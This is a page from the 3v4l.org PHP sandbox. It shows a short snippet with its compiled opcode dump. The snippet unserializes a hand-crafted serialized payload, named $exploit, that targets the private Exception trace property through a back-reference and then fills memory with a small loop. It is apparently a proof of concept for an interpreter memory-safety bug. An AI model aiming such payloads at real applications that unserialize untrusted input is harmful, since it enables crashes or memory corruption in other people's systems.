3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:2:{i:0;O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";i:1;}i:1;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 11
Branch analysis from position: 11
2 jumps found. (Code = 44) Position 1 = 13, Position 2 = 7
Branch analysis from position: 13
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
2 jumps found. (Code = 44) Position 1 = 13, Position 2 = 7
Branch analysis from position: 13
Branch analysis from position: 7
filename:       /in/ZSOl7
function name:  (null)
number of ops:  17
compiled vars:  !0 = $exploit, !1 = $x, !2 = $i, !3 = $v
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   10     0  E >   ASSIGN                                                   !0, 'a%3A2%3A%7Bi%3A0%3BO%3A9%3A%22exception%22%3A1%3A%7Bs%3A16%3A%22%00Exception%00trace%22%3Bi%3A1%3B%7Di%3A1%3BR%3A3%3B%7D'
   11     1        INIT_FCALL                                               'unserialize'
          2        SEND_VAR                                                 !0
          3        DO_ICALL                                         $5      
          4        ASSIGN                                                   !1, $5
   13     5        ASSIGN                                                   !2, 0
          6      > JMP                                                      ->11
   14     7    >   CONCAT                                           ~9      'hi', !2
          8        ASSIGN_DIM                                               !3, !2
          9        OP_DATA                                                  ~9
   13    10        PRE_INC                                                  !2
         11    >   IS_SMALLER                                               !2, 5
         12      > JMPNZ                                                    ~11, ->7
   17    13    >   INIT_FCALL                                               'var_dump'
         14        SEND_VAR                                                 !1
         15        DO_ICALL                                                 
         16      > RETURN                                                   1

Class obj:
Function __wakeup:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/ZSOl7
function name:  __wakeup
number of ops:  3
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    6     0  E >   ASSIGN_OBJ                                               'prop'
          1        OP_DATA                                                  1
    7     2      > RETURN                                                   null

End of function __wakeup

End of class obj.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
156.72 ms | 1387 KiB | 17 Q